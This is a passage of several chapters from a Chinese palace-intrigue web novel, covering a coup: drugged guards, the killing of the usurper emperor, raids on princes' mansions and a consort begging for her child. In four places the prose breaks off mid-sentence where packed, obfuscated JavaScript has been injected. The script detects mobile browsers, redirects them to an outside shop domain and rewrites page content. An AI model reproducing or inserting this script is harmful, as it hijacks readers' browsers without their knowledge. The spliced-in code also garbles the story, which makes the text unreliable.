语毕,她独自一人走出寝殿,对阶下的禁军队长说道:“陛下有旨,他要单独审问钦犯,不许任何人打扰。” 禁军队长领命道:“是,卑职记下了!” 江御暮又道:“我对宫内的地形并不熟悉,你可知先帝在时,国师炼药的殿宇位于何处?” 禁军队长自然知道,便为她详细描述了一番,还打听起来:“陛下不是已经把那地方查封了吗?还让你去做什么?” 江御暮正色道:“这是陛下的密令,请恕我不能明言。” 禁军队长于是没有再问,只道:“小时,别怪兄弟没提醒你,那地方可阴着呢!” 江御暮面露好奇:“此话怎讲?” 禁军队长压低声音,对她说道:“那地方呀——闹鬼!” 江御暮眉头渐渐蹙起:“什么?还有这事?” “那当然,好多值夜的弟兄都撞见过!” 禁军队长俨然一副高深莫测的模样。 “你长久不在京中,难怪不知此事。那个飞鸿影啊,曾经在那地方杀了几十个宫女,用她们的血肉炼药。自此以后,那地方就时常有女鬼呜咽哭泣,没人敢去靠近那座宫院。就连白天巡逻时路过,弟兄们尚且心有戚戚,遑论入夜以后呢?” 江御暮配合着表现出惊惧的样子,眼神飘忽不定道:“多谢提醒,我……我会小心行事的。” 在禁军队长怜悯的目光注视下,江御暮快步跑走,不多时就来到了“闹鬼”的宫院近旁。 她撕下院门上的封条,直接推门走了进去。 果不其然,院内马上响起缥缈阴森的女人哭声,那声音被寂静的夜晚衬得愈发空灵惊悚。 江御暮关上院门,环顾四周,清了清嗓子,大声说出自己先前设下的暗号—— “奇变偶不变。” 话音一落,院内的“鬼哭声”立时停了下来。 与此同时,十几名妆容可怖,身着宫女服饰的女子接连从屋顶上探出头来,回应道:“符号看象限。” 虽然她们并不理解这组暗号有何含义,但正因它如此古怪,才使她们留下了深刻的印象,想忘也忘不掉。 江御暮冲她们招招手:“下来说话吧。” 众人纷纷纵身跃向地面,宛若蜻蜓点水,几乎没有发出任何声响。 “其他人呢?”江御暮问。 领头的女子名唤檀香,回答道:“红英将我们分为三组,一组留在此地,负责吓退前来搜查的禁军侍卫;二组隐于后宫,负责监视众太妃和六王爷;三组踪迹不定,负责探查宫内地形,绘制地图。” 语毕,她从袖中取出一幅绢制地图,交给江御暮。 江御暮点点头,随即问起:“红英留下的东西藏在何处?” 檀香答:“就在香炉之下。” 江御暮顺着她手指的方向看去,只见此院中心摆着一座大香炉,须得十人合力才能将它抬起来。 移走香炉后,众人又挖开其下的土地,取出一个一尺见方的木箱子。 江御暮命令众人洗去脸上扮鬼的妆容,伪装成寻常宫女,带上此箱随她一同前往御膳房。 此时已是深夜,御膳房早就闭门了,只有一老一小两个值夜的内监守在门外,而且都打着瞌睡。 江御暮叫醒二人,俨乎其然地训斥了几句,吓得他们噤若寒蝉。 江御暮这才举起皇帝的令牌,不容置疑道:“开门!” 小内监连忙把门打开,老内监赔着笑问:“不知陛下想吃些什么宵夜?老奴这便去叫对应的御厨给陛下准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143906|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备。” 江御暮严肃道:“把御膳房的所有人都叫来,御厨、宫女、内监,不可遗漏一人。” 老内监不敢怠慢,急忙领命而去,不多时就带着人回来了。 众人都战战兢兢,用目光传递着心中的猜测:莫不是御膳房有人犯了大错,陛下派人来杀鸡儆猴了?啧,也不知是谁这么倒霉。犯错就犯错吧,还连累大家都不能睡个好觉! 众人到齐后,江御暮一本正经道:“陛下口谕,禁军侍卫值夜辛苦,命御膳房火速为其熬制姜汤。每人一碗,共计七百余碗,宁多不少。明白了吗?” 众人齐声应是。面上虽然不显,心里却都有怨气:皇上也太想一出是一出了,就算心疼禁军侍卫,想赏他们姜汤喝,那就不能早些来给御膳房下旨吗?为何非得让他们半夜起来忙活? 为发泄心中怒气,众人切姜时用足了力气,把砧板剁得咚咚直响。 幸而姜汤易制,没有什么复杂的步骤,几大锅熬煮下来,很快就完成了任务。 众人按照江御暮的要求,将这些姜汤均分,装入十六个大桶里,又分别抬上八辆推车,每辆车上配置足量的汤碗。 江御暮验收完毕,颔首道:“不错,大家今夜都辛苦了,快回去休息吧。” 众人已是哈欠连天,争先恐后地回去睡觉了。 江御暮命檀香等人两两成组,每组共推一车,来到一处僻静无人的宫道。 檀香这才打开费红英留下的木箱子,里面装满了黄褐色的药粉。她将药粉平分,依次倒入所有汤桶,其余人用大勺不断搅拌姜汤,使药粉快速溶入其中。 江御暮取出皇宫地图,简略将宫内划分为八个区域,分别由这八组人负责—— “让这片区域内的所有禁军都喝下姜汤,一个不落。” 皇帝的寝殿恰在檀香所负责的区域,于是江御暮带她们一起回到殿外,与禁军队长谈及此事。 “陛下心疼弟兄们值夜辛苦,特地让御膳房给大家熬了姜汤。快喝吧,大家都暖暖身子。” 禁军队长谢了恩,先让手底下的小兵们去领汤喝,自己把江御暮拽到了一旁。 “小时,你跟兄弟说句老实话,这姜汤到底是个什么说法?”他问。 江御暮心里一跳,面不改色道:“还能有别的什么说法?” 禁军队长欲言又止,迟疑了半晌才开口:“就是……方才……陛下不是让你去那处闹鬼的宫院走了一趟吗?” 江御暮一脸单纯:“是啊,怎么了?” 禁军队长望一眼汤桶,压低声音道:“陛下以前从未这样莫名其妙地关心我们,今日骤然施恩,莫不是想让我们暖好身子,上阵捉鬼吧?” 江御暮失笑:“放心吧,闹鬼之事已然解决了。” 禁军队长顿觉惊诧:“真的假的,你别诓兄弟啊!” 江御暮走到汤桶边,亲自为他端来一碗姜汤。 “真的,我保证。” 禁军队长接过姜汤,正欲喝下,动作却忽然停在半截,鼻子用力嗅了嗅,立时脸色大变。 “不对,这汤有问题!” 109. 费红英借剑学砍手,江御暮旁观叹…… 乍闻此语,这队禁军侍卫纷纷向他投来惊诧的目光。他们之中已有半数人喝下了姜汤,其他人端着汤碗,不约而同地停住了动作。 檀香将手缩入袖中,悄悄握紧藏于其内的匕首,为接下来随时可能爆发的冲突做好准备。 江御暮气定神闲,直直对上禁军队长质问似的目光,十分平静道:“所以呢?” 禁军队长一时竟被她问懵了,怔愣片刻后才道:“什么所以不所以的?这汤里分明被人下了迷药!” 此话一出,周遭众人都瞠目结舌,喝了汤的自是无比忧心,没喝汤的也感到一阵后怕。甚至还有人手上一抖,不知有意无意,把汤碗摔在了地上。 江御暮瞟向碎裂在地的汤碗,理直气壮道:“别说区区迷药了,这汤里哪怕有一味毒药,那也是陛下的恩赏。” 说着,江御暮的目光缓慢扫过众人:“诸位拒赏不受,若是让陛下知晓了,不知会受到何种惩处呢?” 她话音一落,方才摔碎汤碗之人连忙朝寝殿方向跪拜请罪。 江御暮给檀香使了个眼色,后者立时重新舀满一碗姜汤递给那人,那人顾不上起身,忙不迭喝下了,其余众人也紧随其后,生怕落得个不敬天子的罪名。 禁军队长盯着自己的汤碗迟疑半晌,猛然抬头道:“不对!我不信陛下会——” “檀香。”江御暮已经没有耐心了。 下一刻,一把匕首从人群中飞出,正中禁军队长喉结位置。鲜血立时飞溅,落在江御暮的假面上。 队长身死,其余众兵骤然没了主心骨,一时都有些失措,脑子如滚粥般乱糟糟的,难以做出准确的判断。有人在自保的本能驱使下拔出刀来,却因江御暮手中握有皇帝的令牌而不敢妄动。 江御暮进一步,他就退两步。尚未僵持多久,药效便已发作。众兵接连倒地,彻底昏睡过去之前,只祈求自己能够性命无忧。 江御暮揭下假面,对檀香简单吩咐几句后,转身走进了穆归礼的寝殿。 费红英见她回来,远远便道:“他还没醒。” 待江御暮走近以后,她又笑着揶揄一句:“你方才打他的时候,是不是劲使大了?” 江御暮蹲身去探他的脉搏:“分明是他自己的承受能力太差。” 燕识风帮她擦净颈侧的血迹,悬心道:“不是你自己的血吧?” 江御暮摇摇头,转而问起:“你们这是打算让他做个明白鬼?” “那是自然!”费红英率先回答,“他恶心了我那么久,我还没以牙还牙呢,他总不能就这样糊里糊涂地去死吧?那也太便宜他了!” 江御暮又看向燕识风:“你呢?” 燕识风耸耸肩:“我无所谓。只要能手刃穆归礼,顺利完成任务就行。” 江御暮知道,他说的是系统早前发下的【手足相残】任务。时限一年,若在今日完成,算来还提前了几个月,也不知能不能多给些奖励。 费红英却不知道这一节,还以为燕识风说的是江御暮布置给他的任务,倒也不觉得有什么不合理之处。 “时间宝贵,他若迟迟不醒,咱们总不能一直这样等下去。”江御暮看向费红英,“你可有法子让穆归礼早些醒来?” 费红英想了想,一本正经道:“砍他一只手吧!他觉出疼了,自然就能醒来。” 她早就想这么做了——穆归礼每次摸她的脸时,这个念头都会变重一分。 时至今日,她终于有了偿愿的机会。 江御暮拽着穆归礼的右手,帮她摆好位置。燕识风拔出自己的佩剑,教她发力的方法。 费红英握紧长剑,深吸一口气,又缓缓吐出,瞄准地板上那只让她恨之入骨的手,小声为自己倒数。 “三——二——一!” 一剑落下,穆归礼随即发出一声痛呼,双眼猛地睁开,凭本能看向自己的右手。 费红英经验不足,落点稍偏,力道也有所欠缺,这一剑只在穆归礼的手背上留下了一道伤痕,依稀见骨。 “对初学者来说,已经很不错了。”江御暮一向奉行鼓励式教育,“要不要再试一次?” 穆归礼闻声,这才顾得上看她。时异的衣裳配上江御暮的脸,使他顿时感到一阵惶悚。 “怎、怎么是你!?” 江御暮对他微微一笑:“现在才发现,是不是有些晚了?” 此刻药效渐褪,她的声音只余些许沙哑,听来有些雌雄莫辨。 穆归礼终于想起时异从前对他说过的一段话—— “比武招亲这几日,一直由杏林医馆的费老太太帮卑职改头换面。卑职‘久病成医’,也在她脸上发现了易容的痕迹,有理由怀疑,她就是江小姐身边的那位‘神医姑娘’!” 穆归礼当时并不觉得费杏林的易容术是多么厉害的手段,还曾反驳道:“本王就不信她有这个本事,能把妙龄少女易容成古稀老妇。” 时至此刻,他才愿意相信世界之大,无奇不有。费杏林的这门手艺,甚至能把女人易容成男人。 是的,一切都是因为对方的手段太邪门,因为她们设下的局太精妙、太毫无破绽了,并非他自己疏忽大意才招致祸端。 穆归礼愿意这样相信,穆归礼只能这样相信。 只有这样,才说明今日的溃败并无他自身的责任,换做其他任何一个人,也会落得和他一样的下场。 今日之败,并非他刚愎自用、不听劝谏的恶果,亦非他恶迹昭著,人心尽失的报应。 没错,没错。 归根结底,他只是生不逢时,英雄无用武之地而已。 今日沦落到这般处境,要怪也只能怪父皇得位不正,才引得前朝余孽向他寻仇。自己除了投错胎以外,还有何错处? 穆归礼困兽犹斗,挣扎着想要起身,却被费红英执剑抵上脖颈。 “别动。”她移步站定在他身前,剑身斜向下方,剑尖直指他的喉结。 穆归礼抻着脖子与她对视,恨恨道:“你的眼疾治好了?” 费红英态度冷淡:“我从来就没有眼疾。” 穆归礼的胸膛剧烈起伏着,怒问道:“你并非中途叛主,而是从一开始就在对朕撒谎,对不对!?” “也不算撒谎吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162367|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 费红英轻抬剑尖,触及他的下巴,继而划上面颊,仿若某种另类的以彼之道,还施彼身。 “我说过你会成为下一任皇帝,也确实帮你坐上了皇位,使你多年夙愿得偿,这样还不够么?” 穆归礼冷笑一声,斜眼看向她身旁两人,目光微颤,最后定在燕识风的脸上,笃定道:“你也是易容的吧?都到这个份上了,还有什么伪装的必要?不妨揭下假面让朕瞧瞧,你会不会也是朕的故人。” 燕识风没有说话,只将目光投向江御暮,意在征求她的意见。 得到江御暮首肯,他才在穆归礼面前露出真容。 假面一除,穆归礼霎时瞪大双眼。 “穆归衡!?”他又想挣扎起身,却被费红英一剑顶了回去。 他不敢置信地盯着那张面庞:“难道……这世间真有借尸还魂一说?” 江御暮闻言深深一叹:封建迷信害死人,此言诚不我欺。 她拍拍费红英的肩膀:“赶时间,快点。不必让他事事明白,只要你出够了气便可。” “好吧。”费红英把佩剑还给燕识风,悄声道,“我再说三件事,你就送他上路。” 穆归礼听不见他们的耳语,狐疑地看着费红英,不知她在打什么算盘。本想趁费红英归还佩剑的时机起身逃脱,燕识风却又执剑抵住了他的心口,使他不得不听她继续说下去。 “第一件事——说实话,我很意外,你居然直到现在还没有发现。” “发现什么?” “发现……”费红英在他身旁蹲下,凑近他的脸,“我是女人啊。” 她很喜欢穆归礼现在这副精彩纷呈的表情,看着很解气。但是当他忍不住开始干呕,她还是嫌恶地躲远了。 穆归礼本以为这个真相就已足够让他厌憎,却不料她接下来的话还能让他更加崩溃。 “第二件事——纪青元没有死。不但如此,她还闯出了一片新的天地,生活得很幸福,很自在。” 这番话正好提醒了江御暮,她连忙插话道:“哦,对了。青萝也没有死,因为我就是青萝。红英,你继续。” 费红英玩心乍起,恶作剧般吊起了穆归礼的胃口,问道:“你猜猜,我要说的最后一件事与谁有关?” 穆归礼愤恨地盯着她,恨不得用目光在她脸上灼出两个大洞,良久才偏头看向燕识风:“你左不过是想用穆归衡死而复生的内情来诛朕之心。哼,痴心妄想!他纵得苟且偷生又如何?和叛匪搅在一处,朕就不信他能得到善终!” 听到此话,沉默许久的燕识风终于开口:“多谢关心,我有一道护身符,定能保我善终。” 穆归礼不知他说的是江御暮送他的“定情信物”,还以为是什么怪力乱神的符纸,于是又怒气冲冲地看向费红英。除了她,还有谁能画出这种神符? “我可没打算说这事。”费红英对他歪头一笑,“你还是先备好手绢吧。” 江御暮同她搭腔:“备手绢做什么?” 费红英悠悠道:“我说完第三件事,他准要哭一鼻子。你若不信,咱们就打个赌吧。” 110. 穆归礼一命归西天,北城门一叶…… 穆归礼终究没有听费红英说出第三件事。 他受够了这一切,不愿再看她那副一切尽在掌握中的神情。 这副神情让穆归礼蓦然想起第一次见到她的时候,他很看不惯费红英唇角的笑意,那是他读不懂的笑意。 “飞鸿影,你当真以为你能机关算尽,对万事万物都未卜先知么?” 穆归礼抬头看向她,语带挑衅,左手从袖中摸出半枚棋子,夹在双指之间。 江御暮随即把费红英护在身后,诧异道:“都这个时候了,你不会还以为自己能靠这区区一发暗器翻盘吧?” 穆归礼无声一笑,定定地看着自己的掌心,片刻之后,他猛地将那半枚棋子送入口中,意图将其吞下。 他所用的暗器全都在剧毒里浸泡过,泡够七七四十九天,取出以后才能被轻松掰成两半。 穆归礼知道自己难逃一死,但即便要死,他也不愿死在旁人手中——尤其是穆归衡。 吞下这枚暗器,他便是自己求死,与旁人无关。只要不死在敌人手中,他就不算失败。 江御暮这才反应过来:“他要自戕!” 与此同时,她急忙扑过去掐住穆归礼的脖颈,防止他将暗器吞入腹中,继而回头看向燕识风:“动手!” 江御暮手上用足了力气,穆归礼的整张脸很快就涨得通红。不知为何,他竟笑了出来。 也许是觉得奇怪吧,这个时候,他为什么会想起纪青元呢? 不知是不是此刻的情景太过熟悉的缘故——也在寝殿,也在床边,也被这样打倒在地,无法起身。 恍惚间,穆归礼甚至觉得自己变成了纪青元,至于掐住他脖颈的江御暮,则变成了他自己的面孔。 然而这份错觉没有持续太长时间,一柄长剑就刺入了他的心口。 沉寂已久的系统终于发出提示音:“主线任务【手足相残】已完成。” 燕识风松了口气,对江御暮说道:“可以了。” 江御暮这才松开手,起身把费红英拉到一边,又走远几步。 剧痛之下,穆归礼幻觉尽散,视野恢复如常。他直视着燕识风略显不忍的目光,双唇不断颤抖着,却没有发出声音。 “你还有话想说?”燕识风问。 穆归礼声音微弱:“为……为什么……” 为什么明明是一母同胞的亲兄弟,他们却会走到如今的地步? 为什么他身边之人永远忠心耿耿,自己手下之人却各怀鬼胎,非死即叛? 为什么自己处处都不逊色于他,父皇却从来都只把他视作唯一的继承人? 穆归礼想问的问题太多,但他的气息已然所剩无几了。 他用尽最后一丝力气,咽下含在口中的半枚棋子,闭上眼拦住即将涌出眼眶的泪水。 “朕……没有错……” 江御暮远远看着穆归礼最后的挣扎,不禁唏嘘一叹。 方才她把费红英拉到一边,就是为了问清她尚未说出的第三件事到底是何事。 费红英神情复杂,先抛出了一个问题:“你觉得依穆明的脾气,如果我只是想给自己治疗眼疾,他会允许我如此僭越,在皇宫里大张旗鼓地开炉炼丹吗?更别提在他的认知中,为了炼出所谓‘药引’,还需搭上几十条人命呢。” 江御暮好奇道:“难道还有旁的什么缘由?” “只有一个缘由。”费红英轻声私语道,“是穆明主动找到我,问我能不能炼出一种丹药,让穆归礼服下以后,能开始对女人感兴趣,也好为皇家开枝散叶。” 江御暮颇感意外,惊道:“他早就知道——” “没错。”费红英重重一点头,“从穆归礼找来第一个面首,穆明就知道此事,算来也有五六年了。” 江御暮更为纳罕:“这对父子倒也稀奇,竟然两头都瞒着。一个假装没有此事,另一个假装自己不知道此事。” 费红英解释道:“那日穆明喝得很醉,酒话也不知有几分真,几分假。据他所说,他的大女儿便是不爱须眉爱红颜。为着此事,穆明与她闹得很不愉快。以至于她宁愿放弃公主之尊,也要逃出皇宫。穆明以此为鉴,生怕捅破窗户纸后,穆归礼也会效仿姐姐与他决裂,索性就装作对此一无所知了。” 江御暮知道她说的是林晏秋,忙问:“穆明可知那位公主的下落?” “他知道,你也知道。”费红英意味深长地一笑,朝燕识风的方向扔去一个眼神,“不就是先太子帮她逃出去的么?穆明心里门清。若无他的默许,当年那两个半大孩子怎么可能偷到暗道的钥匙?” “他竟不怪他们不敬君父?”江御暮似问似叹。 “或许,他起初也是不高兴的吧。”费红英并不清楚,穆明只说过他后来的想法,“那日他跟我说,天家子女的手足之情向来淡漠,唯太子与大公主是个例外,使他颇感欣慰,故而不忍苛责。” 江御暮沉默片刻,叹了口气:“他这人虽然为臣不忠,为君不仁,为父倒是……” 倒是什么呢?一句夸赞卡在喉咙里,江御暮终究还是没有说出来。 穆明能算是一个好父亲吗? 他对孩子们百般宽纵溺爱,自是利弊皆存。诚然,他给了林晏秋最想要的自由,让她不必再困于宫内种种规矩教条。可是与此同时,亦有几位皇子被他娇惯成了无法无天的孽根祸胎,贻害无穷。 费红英望着彼时一息尚存的穆归礼,对江御暮低声道:“其实穆归礼决心弑父以前,穆明就已经在考虑另立太子之事了。” “这是为何?”江御暮从未料想到这一点。 “因为涵州刺史虚报灾情一事,穆明觉得先太子过于仁善,论心机,压根斗不过朝中那帮老油条。归根结底,他是怕自己有朝一日龙驭宾天,先太子继位后镇不住朝堂,反而会受老臣们的欺负。” 江御暮心中了然:“所以,他在考虑改立穆归礼为太子?” 费红英点点头:“论脾气,论野心,穆明都觉得这个儿子最像他,只不过……穆归礼喜好男风,无心无力为皇家开枝散叶,着实让他头疼。所以他才会请我炼制丹药,倘若此事能成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173874|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就会改立穆归礼为太子。至于穆归衡,便可以和他的大皇姐一样,彻底远离朝堂的纷争。” 江御暮眼睁睁看着穆归礼咽了气,不由感慨良多,与费红英对视道:“他若听到这些,也不知会作何反应。” 或许会后悔,或许会愤怒,或许根本就不会相信。 无论如何,她们已经得不到答案了。 …… 夜半子时。 这是江御暮事先定好的时间。近两百名得月军列成四队,按时来到京北城门外。 外圈一百名兵士身着禁军甲胄,是当初赈灾队伍里那一百名禁军留下的。其余兵士都披着斗篷,将身上的轻甲遮得严严实实。 今夜轮到陆一峰带队值守北城门,远远看到这些兵士,他便有些迫不及待。 一旁的李节不知内情,疑惑道:“奇怪,今夜为何有这么多禁军入城?没听说近日有什么行动让大批禁军出过城啊……” 李义猜测道:“说不定是秘密行动呢,咱们上哪知道去?” “中间那些人为何披着斗篷?” “都说是秘密行动了,打扮得神秘些也正常吧?” 陆一峰见李家兄妹如此东拉西扯还能自圆疑点,便没有打断他们的议论,继而迈步迎上前去,佯装核验来者的身份,不多时便回身下令:“开城门!放行!” 城门打开后,四队兵士不紧不慢地走了进去,李节在旁一言不发,不知在看些什么,很是入神,连李义跟她说话她都没有反应。 待城门再次下钥,李节才慢悠悠踱步到陆一峰身边。 “队长。” “怎么了?” “借一步说话。” 陆一峰与她对视片刻,李节神色严肃,使他忽而心虚起来。 李义不愿被落下,三两步追上来对妹妹询问道:“什么事这么严肃,还背着我说?” 李节没有回答他的问题,只盯着陆一峰的眼睛看。 陆一峰心中隐隐已有预感,于是轻推李义的肩膀道:“秘密行动,你这个无关人员就别瞎打听了。” 李义只得停步,望着二人走远的背影挠了挠头:好嘛,合着除了我,全世界都有秘密。 与他拉开一段距离,陆一峰才问李节:“你想说什么?” 李节不答反问:“队长,禁军里有女兵吗?” 陆一峰愣了愣,却不敢断言,只道:“你问这个干什么?难道是做够了城防兵,又想去做禁军了?” 李节哼出一笑:“别装了,队长,你我都知道禁军营内从无女兵。但是方才那些禁军入城时,我只匆匆瞥了几眼,就发现了不少女扮男装之人。” 她顿了顿,又补充道:“这方面我很有经验,她们骗得了弟兄们,可骗不了我。” 陆一峰一句“你看错了”卡在喉咙里,说也不是,咽也不是。 李节一看他的神情便知自己所料不错,连忙乘胜追击。 “陆大哥,看在咱们两家多年的交情上,你便跟我说一句实话。今晚……京城是不是要变天了?” 111. 怀定二王家财尽失,谢贵太妃护…… 陆一峰没有正面回答李节的问题,只是让她不要胡思乱想。 李节虽然不再追问,心里却始终静不下来,暗暗盘算着:才这么点人,能攻破宫门吗? 她不知道的是,这些人的第一站目的地并非皇宫,而是王府。 所有兵士分成两队,分别包围怀、定二王的府邸。作禁军打扮的兵士守在各个院门外,身披斗篷的兵士闯入王府,直奔寝殿。 负责夜间巡逻的城防兵听到异常响动,纷纷骑马赶来,看到禁军包围王府,都以为是皇帝的旨意,故而不敢干涉。 不多时,费红英换作禁军打扮,带着收拾完残局的檀香等人守在皇宫正门之外。 小半个时辰后,怀王府率先派人来报:“怀王穆归正已然伏诛,抄没全部家产,卑职等尚未一一算清。粗略计来,约有黄金数万,白银数十万,名贵药材数百斤,珠宝首饰数百件,古董皮草若干,田契店契若干。怀王妃仍被看守在王府之内,不知该如何处置?” 费红英代江御暮传旨道:“将王妃带入宫中,与众太妃一起看守。” 这小兵领命而去,又过一段时间,定王府那厢才有人来传递消息。 抄家所得与怀王府不相上下,自不必赘言,让费红英头疼的是另一个难题。 情况特殊,她自己无法做出判断,更不能擅自下令,只得进宫去找江御暮,问问她有何意见。 江御暮此刻身着宫女服制,身后跟着的假面禁军便是燕识风。 她手捧一个红木托盘,盘上盖着一块红布,红布中心略略凸起,看不出下面放着什么物什。 年幼的六王爷尚未开府,仍与其母妃谢莹一同住在吟安宫内。 江燕二人行至吟安宫外,守门的小太监正在剥石榴吃,看见有人前来,连忙抹一抹嘴,继而将石榴籽吐进手中,战战兢兢询问江御暮的来意,同时双眼紧紧盯住燕识风。 后宫多是女眷,为了避嫌,平日少有禁军来往。如果有,那肯定带不来什么好事。 “陛下有令,为贵太妃与六王爷赐菜,以示恩重。” 说着,她偏头瞟向燕识风,后者会意,马上配合着举起皇帝的令牌。 小太监见状不敢怠慢,马上进去禀报。 周遭无人,江御暮这才向燕识风问起:“贵太妃平日里对宫人们格外厚待么?” 燕识风想了想,摇头道:“我没听说过有此类传闻。” 江御暮看着漏在地上的几颗石榴籽:“石榴在宫里可是稀罕物,各宫娘娘们都未必能得此赏赐,这个小太监竟吃上了。不奇怪吗?” “难不成是他偷来的?”燕识风提出这个猜想后,很快又自我否定了,“不对,这说不通。宫内盗窃是重罪,轻则砍手,重则杖毙。那小太监就算敢偷贵太妃宫里的石榴,也不敢让旁人知晓。可是方才咱们与他说话时,他并未遮掩,似乎完全不怕旁人发现此事。” 江御暮点点头:“想来是贵太妃赏的吧。过了明路,自然不怕人知道。” 燕识风低声道:“看你的表情,还是觉得此事有蹊跷?” 江御暮沉默片刻,轻叹道:“不知道,也许是我多心了吧。” 少倾,那小太监去而复返,恭恭敬敬将江燕二人迎入宫中,带入寝殿。 贵太妃谢莹刚被叫醒,只穿好了衣裳,尚未来得及梳好头发。 见到皇帝令牌,她诚惶诚恐地跪拜谢恩,不敢表现出任何抗拒。但是她心里很清楚,皇帝夤夜赐菜,赐的绝对不是恩德。 至于赐的究竟是什么,她现在还无法断言——也许是示威,也许是恐吓,也许是疯子取乐的手段,只要谢莹全盘照收,让皇帝满意,他就能容她们母子继续活下去。 江御暮让宫人们扶谢莹起身,而后盯着她的双眸问道:“六王爷呢,不来谢恩吗?” 谢莹连忙解释道:“稚子贪睡,稍稍耽搁了,绝对没有不敬陛下之意。” 语毕又遣宫人们去偏殿催促,不多时,嬷嬷便把六王爷抱了过来。 江御暮遣走所有宫人后,殿内唯余四人。那孩子还不知道发生了什么,被人搅扰美梦,便哭喊着要去找母妃。 谢莹伸手欲接,却被江御暮迈步拦住。 “不劳贵太妃大驾。”她回头看向燕识风,“带走。” 谢莹一听此话,连忙扑上去阻拦,高声喊着:“住手!你们要做什么!” 六王爷哭闹得更加厉害,燕识风看着怀中同父异母的幼弟,难免动了恻隐之心。 身为穆姓皇子,这孩子纵然如何年幼不知事,也只有死路一条。 想到这里,燕识风忽而愧疚起来。 决意背叛父皇时,他不曾愧疚。亲手杀死穆归礼时,他亦不曾愧疚。 可是此时此刻,幼弟在他的怀中不断挣扎踢打,谢莹在他的面前不停卑微祈求,使他实在无法狠下心害他们母子分离。 稚子无辜,寡母无辜啊…… 谢莹大抵已经有所预感,猜到这一别就是永别,拽着孩子无论如何也不肯撒手。 见祈求无用,她又开始咒骂。骂穆归礼狼心狗肺,容不下自己的血亲兄弟,此事一旦传扬出去,他必被天下人唾弃耻笑。 江御暮走到谢莹身前,抓住她的右手放在托盘上,冷声道:“掀开看看。” 谢莹哭得上气不接下气,连双手都有些发麻。她动作僵硬,慢慢掀开托盘上的红布,定睛一看,眼中的悲伤和愤怒立刻变成了恐惧。 红布下面放着另一块红布,但这颜色非其原色,而是被鲜血染红的,其上一片龙纹刺绣黯淡无光,只看纹样便知是从龙袍的胸前位置裁下来的。 “方才忘了告诉贵太妃……”江御暮松开她的手,把托盘扔在地上,“我姓江,家母是得月国镇国长公主。” 闻得此语,谢莹的眼神愈发绝望,泪水止不住地往下流,一句话也说不出来,只是拽着孩子衣裳的那只手更加用力了。 “松手。”江御暮正色道,“现在松手,你还可以活命。” 谢莹恸哭着摇头:“不,不!你若要取我孩儿性命,索性便让我陪他一起去了吧!” 江御暮捏住她的手腕,最后一次劝道:“我对你的命没有兴趣。躲远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182564|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,我不想在母亲面前动手杀子,别逼我。” 谢莹仍然不愿放弃,哀求道:“我们母子从无争权夺利的野心,不论谁坐上龙椅,我们都只求平安一生,绝不敢暗中作乱。求求您,就放我们一条生路吧……” 从感性上来说,江御暮也很同情这对母子。可是从理性上来说,她绝对不能给自己留下任何隐患。 燕识风见谢莹护子情切,心内实在不忍,便对江御暮低声问道:“倘若他不做皇子,可有活路能走?” 换言之,倘若让这孩子和他、和林晏秋一样,改名换姓,舍去皇子身份,江御暮能否留这孩子一条性命? 谢莹见他主动开口求情,便知事有转机,观察片刻,果见江御暮有所松动。 她连忙抓住这个机会,跪在江御暮身前剖白道:“我儿不是皇子!我儿原本就不是皇子!” 江御暮闻言不解:“什么?” 谢莹哭得浑身卸力,瘫坐在地上看着燕识风怀中的小童,用轻至气音的声量祈求道:“能不能……先让这孩子去偏殿睡一会?有些话……我不想让他听到。” 语毕,她又拽住江御暮的裙角抽泣道:“您先别杀他,好不好?” 江御暮思忖片刻,让燕识风先抱着孩子站到门口去,她再带谢莹走到榻边。两厢距离虽然拉得足够远,孩子却没有离开母亲的视线范围。 “说吧。”江御暮看着谢莹说。 谢莹的目光一直不曾离开孩子,轻声剖出自己心底埋藏最深的秘密:“其实……这孩子并非先帝的亲生骨肉。” 生死之际,她再也顾不得颜面了,只求这个秘密能为孩儿换来一条生路。 江御暮先是一惊,继而半信半疑道:“你这么说有何凭证?” 